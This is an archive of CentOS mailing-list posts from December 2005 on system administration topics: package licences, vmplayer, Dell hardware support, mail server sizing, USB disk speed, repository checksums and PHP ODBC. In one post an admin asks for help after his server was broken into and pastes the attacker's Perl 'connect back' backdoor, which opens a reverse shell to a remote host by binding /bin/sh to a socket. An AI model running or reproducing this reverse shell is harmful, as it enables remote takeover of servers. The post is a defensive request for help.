Licences
by Ugo Bellavance 07 Dec '05

07 Dec '05

Hi, I'm looking for a way to determine the licenses of packages we're using. Is there a command (rpm, yum, up2date...) that will take the package name as argument and return me the licence? Or is everything included with Centos 4 GPL? That is the only licence I found in the repositories... I remember that RH had the habit of putting all the applicable licences on the distros' CD. Thanks, -- Ugo -> Please don't send a copy of your reply by e-mail. I read the list. -> Please avoid top-posting, long signatures and HTML, and cut the irrelevant parts in your replies.

odd vmplayer problem
by Les Mikesell 07 Dec '05

07 Dec '05

Is anyone using vmplayer with centos4.2 as the host? I have several machines where it works great other than an error that says "*** attempt to put segment in horiz list twice" in the xterm window where it is started. However, on one machine it will start to boot windows virtual machines (both win2000 and XP) and they hang about 3/4 through where the progress bar goes across the screen - and of course this is the machine where I really want to run it. The machine is an IBM eserver with dual xeons and 4 gigs RAM. A very similar but not quite identical machine with less RAM does not have the same problem. Could the memory be an issue? This same machine that has trouble with the windows virtual machines works OK with the downloadable Browser Appliance vm which turns out to be a basic ubuntu installation. -- Les Mikesell lesmikesell(a)gmail.com

up2date command to install kernel source
by Jerry Geis 07 Dec '05

07 Dec '05

Thanks that link explained a few things.... However it still mentions downloading the kernel source yourself then installing... I was looking for a command that goes and grabs the source rpm.... something like "up2date kernel-source" or something like that - to go grab the correct kernel source... I can do "up2date mozilla" for instance and it gets it and installs it. I am looking for something similaiar for the kernel source src.rpm.

Re: [CentOS] CentOS and Dell Support
by C.M. Connelly 07 Dec '05

07 Dec '05

We run CentOS on our Dell kit (servers, workstations, desktops, even some laptops) and haven't had any problems with warranty support from them for hardware issues. I would never call them about software support, which we don't pay for. If I were running RHEL more widely (I do have one install on a server), I suspect that Dell would push me toward calling Red Hat directly anyway. Dell has decent Linux support for various distros. Officially, they only support RHEL (and theoretically SuSE), but there's community support available for most other reasonably popular distros (notably Debian). Dell's Linux Community Website, <http://linux.dell.com/>, has pointers to various resources. If you want to run anything other than RHEL, you can get support from the various mailing lists (especially linux-poweredge and linux-precision). I know that people have gotten Dell's OpenManage (OMSA) stuff running on other distros. I've also had no problems with Dell's DKMS and OMSA packages on CentOS (CentOS is, after all, supposed to be almost identical to RHEL). I recently did a bunch of BIOS upgrades from the Linux command line with Dell's packages (sans OMSA) and they worked well, too. Also, the x86_64 CentOS code seems to run fine on our Dell Precision Workstations with EM64T processors. The issues there are the same you'd see running on any other AMD64 hardware -- some packages aren't built for 64-bit systems; some may not be buildable. I can't speak for any great advantages to using the 64-bit code; most of the work that's being done on those machines Claire -- *-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-* Claire Connelly cmc(a)math.hmc.edu Systems Administrator (909) 621-8754 Department of Mathematics Harvey Mudd College *-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*

RE: [CentOS] Planning Mail Server (with low resources)
by Magnus Hedemark 07 Dec '05

07 Dec '05

Your hardware specs exceed that of the box that was serving mail to *more* students about 8 years ago at Duke University. That box, if memory serves, was a Pentium 90MHz running Solaris x86. Though it did have the benefit of SCSI disks. If you can serve only POP3 instead of IMAP, that box will have no problem serving that many users and more. If you're going to do IMAP, I suggest trying out Dovecot and doing some comparative benchmarks before you settle on Cyrus. I made the switch on a dual Pentium III 800MHz box, 256MB RAM, 20GB disk, and the performance difference was staggering. I agree with using Postfix instead of Sendmail. Some of the other things like virus scanning and spam filtering is something the old Duke mail server never had to worry about, and admittedly that adds a big unknown into the equation. I'll echo the sentiments of the other folks and say that /usr needs to be bigger. Also, I highly recommend putting everything but /boot into LVM so that you can take advantage of more disk later on.

slow usb hard disk performance.
by Peter Farrow 07 Dec '05

07 Dec '05

Dear All, I tried a USB2 Maxtor One touch II external hard disk on a couple of my Centos 4.2 boxes and found it initiallised the SCSI subsystem ok and added device "sda". But the performance is miserable, yet the same hardware running XP the performance is satisfactory. HDPARM gives results varying from 120k/sec to , at its peak 4.75M/s on a USB 2 machine, still very poor by any stretch. On a twin CPU USB 1 machine it give a steady 1M/sec, which is consistently slow, which is better than erratically slow ( :-) ) Still dog slow, wondered if anyone has seen this, and wondered if the firewire interface would be better? (I need to get a cable to try this). P.

O.T. Wheel mouse

Slightly off topic, but wanted to ask. Is there any first source/seconds or third source application that can be used to speed up the movement of the wheel mouse? It's painfully slow compared to my "normal" usage on a windows box. Or, are there any quick hacks that can be made to speed up the wheel in the Xconfig? Snowman

Evolution forgetting read mail
by Kanwar Ranbir Sandhu 07 Dec '05

Hi all, Has anyone seen Evolution "forget" which emails have been read in CentOS 4? I have a client that's reported he's reading his email, closes Evolution, and when he starts it again, the messages are marked as unread. I found bug reports about this here: http://bugzilla.gnome.org/show_bug.cgi?id=273787 https://bugzilla.ubuntu.com/show_bug.cgi?id=4373 It's supposedly fixed in version 2.2.1.1. I'm running Fedora Core 4 and haven't had the same issue at all, so it does indeed look to be quashed. I'd appreciate some feedback.

Configuring eth1 to be in promiscuous mode

Hi there -- I want to have eth1 on my system run in promiscuous mode. I modified the /etc/sysconfig/network-scripts/ifcfg-eth1 file to read as follows: DEVICE=eth1 BOOTPROTO= ... ONBOOT= TYPE=Ethernet ... I reboote the system and when I did an /sbin/ifconfig, eth1 appeared without an ip address. I did a check in the /var/log/messages file and while eth0 is in promiscuous mode, eth1 does not appear to be so. Is there something else I need to do? Thanks.

I'm currently looking for a backup to disk solution for a new system and am curious how well Amanda would work. I've got a large raid partition that I want to backup onto a removable hard drive. The tricky part is that the filesystem is made up of over a million tiny (2-3k) files. Would Amanda be able to deal with that type of filesystem? Thanks, Bowie

SpamAssassin tends to use lots of RAM. As long as you can keep it out of swap, it runs great, but as soon as it runs out of memory and starts swapping, your performance will drop like a rock and probably cause mail to start piling up. Your machine should be fast enough to run ClamAV and SpamAssassin locally, as long as you increase the RAM. Bowie

CentOS 4.2 clean install -- can't print to officejet k60
by Richard Hubbell 06 Dec '05

06 Dec '05

Hello all, I have a new disk and installed CentOS there but I am unable to print. I thought the printer was having troubles because from the /var/log/cups/error_log everything appears to be working. The printer is not printing however. I attached the printer to a windoze 98 box and I could print fine. I had printing on my previous system(FC3) but this isn't working. If I can't print then I am dead in the water. From what I've read there are some contradictions the docs say that hpijs works with USB (and I think that's what FC3 used) but other docs say to use hpojs, but I don't see that in CentOS. I'm using KDE and the printer was config'd after the install completed. I turned on all the cups debugging. What other things can I try? Are there some raw commands I can send to the printer via echo or something like that? Is there a safe way to install hpojs on CentOS? Thanks.

Keeping data on 2 servers in sync !
by Denis Croombs 06 Dec '05

06 Dec '05

I want to build 2 servers (both running samba) to provide file storage to 2 offices (approx 100 miles apart, linked via DSL) but all data writen to 1 server must also be saved to the other server. Both servers would also allow users to access the data via a VPN thus allowing 1 office with a failed server to access the other server via the vpn and still see the data from both offices. I currently have 1 server working but we want to add the second office to the system. (Currently 1 office has 10 users and the second office has 1 user connected via VPN ) but the second office will have 20 within 12 months and the first will have 35 soon )) Has anyone done anything like this ? I am currently reading & unpicking http://www.linux-ha.org/ to see what that gives me. Any clues/comments very welcome, even if you think I am mad ! Thanks Denis

Raid with one disk?
by Sam Drinkard 06 Dec '05

06 Dec '05

Is it possible to set up a single disk raid (kind of redundant to call a single disk an array) but I've got a single SATA drive in the machine not doing anything. It's a 10k maxtor 74G drive, and what I really want is just to backup two home partitions. I can always reinstall the OS, but the data can't be recovered that easily. The mobo supports raid-0,1 and jbod. Suggestions? -- Snowman

Re: [users] CentOS 4.2 dag repo problem.
by Dries Verachtert 05 Dec '05

05 Dec '05

Hello, It would be nice if we could get a full list of packages which have a wrong sha1 checksum. I don't have the bandwidth for a full mirror of all of Dag's rpms and i also don't have shell access to such a mirror. So a small request for a mirror admin: The following checks the files repodata/*.xml.gz against the sha1 sums in repomd.xml and checks the RPMS/*.rpm files against the sha1 sums in primary.xml.gz. Can you run this on the repodata files of at least the el4-i386 rpms? If possible: on every distro/arch combination found in Dag's repo :-) example: cd /mybigmirror/apt.sw.be/redhat/el4/en/i386/dag/ # should have the same contents as http://apt.sw.be/redhat/el4/en/i386/dag/ xsltproc repomdtoshasum.xslt repodata/repomd.xml | sha1sum -c gunzip -c repodata/primary.xml.gz | xsltproc primarytoshasum.xslt - | sha1sum -c Those xslt files are in attach and you probably need to add a path to those xslt files. They're only quick hacks but they seem to work on a couple of rpms on my pc. It might be interesting to capture the output of both commands, for example: xsltproc repomdtoshasum.xslt repodata/repomd.xml | sha1sum -c >> output.txt 2>&1 gunzip -c repodata/primary.xml.gz | xsltproc primarytoshasum.xslt - | sha1sum -c >> output.txt 2>&1 Of course this is far from perfect: it doesn't check the .hdr files, apt config or old yum config stuff.. but it might give the list of rpm packages with a wrong checksum so we can ask heanet to check those files. thanks in advance!

access to httpd logs
by James Pifer 05 Dec '05

05 Dec '05

I need to enable some access to the httpd logs over ftp so they can be analyzed by another application to get a report. I used to do this on Windows NT before replacing the server with CentOS. Thanks to help from another thread I have an ftp server enabled on the web server. I thought the easiest thing to do would be to create an id for the application to connect with, then provide a symlink to the logs in that generic user's home directory. The problem is the logs are owned by root. How can I make them readable by this generic id without completely compromising security? Plus, as the logs rotate this id will still need access. Any suggestions? Thanks, James

Booting from an external USB drive?
by Bart Schaefer 05 Dec '05

05 Dec '05

Is it possible? Booting the installer from the CD works, finds the USB drive, and allows me to put the root filesystem on it. I put the /boot partition on the internal hard drive and installed GRUB in the boot record of that partition. GRUB shows the menu and begins booting, but eventually fails with the error that /dev/sda5 (the external partition) does not exist. I was hoping (perhaps in vain) that initrd would provide the necessary modules/hooks to mount the USB device. Is there some step of the installation that I'm missing, or something extra that I need to do by hand, like in the old days when LILO had to be explicitly told about SCSI cards?

My original question had more to do with how one discovers the appropriate name for the command in question. Once one has that information it is usually a trivial exercise to track down the documentation and discover how to use the tool. However, there does not seem to be any internal reference to system- config-display in any of the X related man pages. Is this upstream decision purposeful or inadvertent? In any case, while web based documentation is wonderful, there are still frequent occasions when system resident documentation is all one has access to. The absence of documentation for setup and configuration applications can prove most inconvenient in those circumstances.

slow responding firewall server
by Peter Farrow 05 Dec '05

05 Dec '05

Hi There, I recently suffered a serious hardware failure on one of my firewalls, (motherboard died), this machine was originally a redhat 9 box, on an Athlon 2200 with 512Megs RAM, this machine was doing the following jobs for a small network at a relatives house: Firewall (IPTABLES) Transparent proxy (squid) Sendmail smarthost IMAP mail server SAMBA file server IPSEC tunnel to my home. The only machines I had to replace it with were an Intel SC5000 chassis with twin PIII 1GHz CPUs on SCSI RAID (1 Gig RAM) and a compaq PII 450 (512Megs) software RAID on IDE 40Gig drives. So I installed Centos 4.2 on both, split the IMAP and SAMBA onto the SC5000 and put the firewall, Squid and sendmail smarthost on the Compaq. The system is connected to the net via a 2Meg Line. While each of these machines easily copes with the jobs they have to do, I have noticed (or rather my relative noticed and I agreed) that web browsing now has a high latency. i.e. you go to a new web page, there is a substantial pause, before the page starts to load (substantial a few seconds, whereas previously it was instant). DNS is all ok and working fine, there are no delays there. The DSL line shows very little latency from the net and outgoing from the lan. I note that squid uses a fair amout of CPU on the PII450 from time to time, but can't seem to get a handle on what is causing the delay. The only thing I can think of is that the PII450 running squid is just slow compared to the old Athlon box and I am reaping the "benefits" of that. I do find that hard to believe though, since the box isn't running X or anthing else extra. I also notice that sometimes some downloads, particularly large ones just seem to grind to a halt after a few megs, and sometimes then carry on a bit later if left, right up to full speed of the line. During this slowdown, the latency of the line even with large pings is fine, so I am sure the connection is good. Is Centos4.2 now so heavy that a PII450 is not enough for a transparent proxy and smarthost.... Any comments/ideas are welcome... Pete

Apache/PHP Security Help.
by Ajay Sharma 05 Dec '05

05 Dec '05

I have a personal apache/mail server that is getting hacked and I'm not sure how the person is getting in. What's happening is that every few days, the below script will show up in /tmp as 'dc.txt', owned by apache and then a TON of mail is queued up to a bunch of addresses in @uol.com.br. I initially thought they got in becuase I had an outdated version of 'gallery' installed. I rebuild the server and update gallery and thought I should be okay. But now they are still getting in and instead of blindly rebuilding the server, I need to figure out how they are able to run perl scripts on the server. Any suggestions? --Ajay PS. This is a CentOS 4.2 box running the latest apache/php RPMS. --------------------------- #!/usr/bin/perl use Socket; print "Data Cha0s Connect Back Backdoor\n\n"; if (!$ARGV[0]) { printf "Usage: $0 [Host] <Port>\n"; exit(1); } print "[*] Dumping Arguments\n"; $host = $ARGV[0]; $port = 80; if ($ARGV[1]) { $port = $ARGV[1]; } print "[*] Connecting...\n"; $proto = getprotobyname('tcp') || die("Unknown Protocol\n"); socket(SERVER, PF_INET, SOCK_STREAM, $proto) || die ("Socket Error\n"); my $target = inet_aton($host); if (!connect(SERVER, pack "SnA4x8", 2, $port, $target)) { die("Unable to Connect\n"); } print "[*] Spawning Shell\n"; if (!fork( )) { open(STDIN,">&SERVER"); open(STDOUT,">&SERVER"); open(STDERR,">&SERVER"); exec {'/bin/sh'} '-bash' .

CentOS on Xen question (Xen Hosting)
by Sanjay Arora 05 Dec '05

05 Dec '05

List: I am considering getting a Xen based virtual server for providing static web-site, secondary MX & DNS. Pros & Cons? anyone? Minimal install from the centos server CD (centos will be the guest OS) with Apache, Selinux, Iptables, qmail, spamassasin, djbdns, clam, mysql, postgreSQL & INN. Any install issues? What should be the HDD & RAM requirement, in addition to my database size & say 10 GB for mail? Also, how much bandwidth saving can I get with say 10 MB mail (from mailing lists) and script to compress and get it by rsync? Secondly, is it possible to compress news server feed & batch download in compressed format, reliably. I am trying to save on extra bandwidth costs here in India. Also, can someone recommend and Xen Virtual host provider on my direct email address...anyone who is small & can do a bit of hand-holding initially...without a big dollar denominated bill ;-) Small shoestring budget..a very very small shoestring ;-) With best regards.

yum vs. Alert Notification Tool
by Alfred von Campe 05 Dec '05

05 Dec '05

I'm running CentOS 4.2 and my CentOS Network Alert Notification Tool has been "red" for over a week now. It's telling me that there is one package available for update, namely shadow-utils-4.0.3-58. However, a "yum update" tells me there are no updates available. I've checked a few of the mirrors and they only appear to have shadow-utils-4.0.3-53. At first I thought the mirrors may be a little behind, but it's been over a week, so I think something else is going on. Anyone else seen this? Alfred

CentOS and Dell Support
by Matt Morgan 05 Dec '05

05 Dec '05

I'm a fairly experienced RH and Fedora user and admin looking to try CentOS for the first time. I have lots of experience with Dell servers and I'd like to stick with them. Although I'm sure it's not always strictly enforced, Dell claims that it won't provide warranty hardware support on servers installed with an un-Dell-supported OS (basically, anything other Windows, RH, and Suse). Are other CentOS admins successful in getting Dell to support their hardware? How does it work--do you just tell them it's RH? Also, any recommendations for which Dell PERC or Dell SATA RAID adapters can I expect to work nicely with CentOS? If, on the other hand, Dell gives you trouble for CentOS installs, and you have recommendations for other server vendors, let me know. In particular, one that can provide on-site warranty support in Toronto, Canada, would be great. I'm only interested in i386 architecture, by the way. Thanks! --Matt

about php-ODBC , unixODBC, freetds and MSSQL server
by Roger Pe�a Escobio 05 Dec '05

05 Dec '05

maybe someone here can help me understand why I am getting this strange behaivor. I am connecting to a MS SQL server from PHP by the ODBC module, I use unixODBC-2.2.9-1, freetds-0.63-1.2.el4.rf and php-4.3.9-3.9 all but the freetds package came with CentOS-4.2 + updates the problem is that I am getting -1 from the odbc_num_rows(); function, I search the net and it looks that this is a very common problem with MS SQL server and unix ODBC driver, but, my surprise came when I use the isql command (came with the unixODBC package) and the number of rows is returned correctly in the same machine and with the same query. the following is the output from isql command: +--------------+-----------+---------------------------------------+ SQLRowCount returns 2516 2516 rows fetched SQL> then I look forward in the source files and I found that both clients (php module and isql) use the same function to get the number of rows: from isql.c : static void WriteFooterNormal( SQLHSTMT hStmt, SQLCHAR *szSepLine, SQLLEN nRows ) { SQLLEN nRowsAffected = -1; printf( (char*)szSepLine ); SQLRowCount( hStmt, &nRowsAffected ); printf( "SQLRowCount returns %d\n", nRowsAffected ); if ( nRows ) { printf( "%d rows fetched\n", nRows ); } } from odbc php module php_odbc.c : /* {{{ proto int odbc_num_rows(resource result_id) Get number of rows in a result */ PHP_FUNCTION(odbc_num_rows) { odbc_result *result; SDWORD rows; pval **pv_res; if (zend_get_parameters_ex(1, &pv_res) == FAILURE) { WRONG_PARAM_COUNT; } ZEND_FETCH_RESOURCE(result, odbc_result *, pv_res, -1, "ODBC result", le_result); SQLRowCount(result->stmt, &rows); RETURN_LONG(rows); } /* }}} */ so I get confuse, why an odbc client get the right result and the other don't if both use the same query, same odbc configuration, same libraries files, same driver (freetds) I am a complete newbie with odbc, MS SQL and freetds :-( and with very litle knowledge of php modules can anybody help me ? thanks in advance roger __________________________________________ Yahoo!
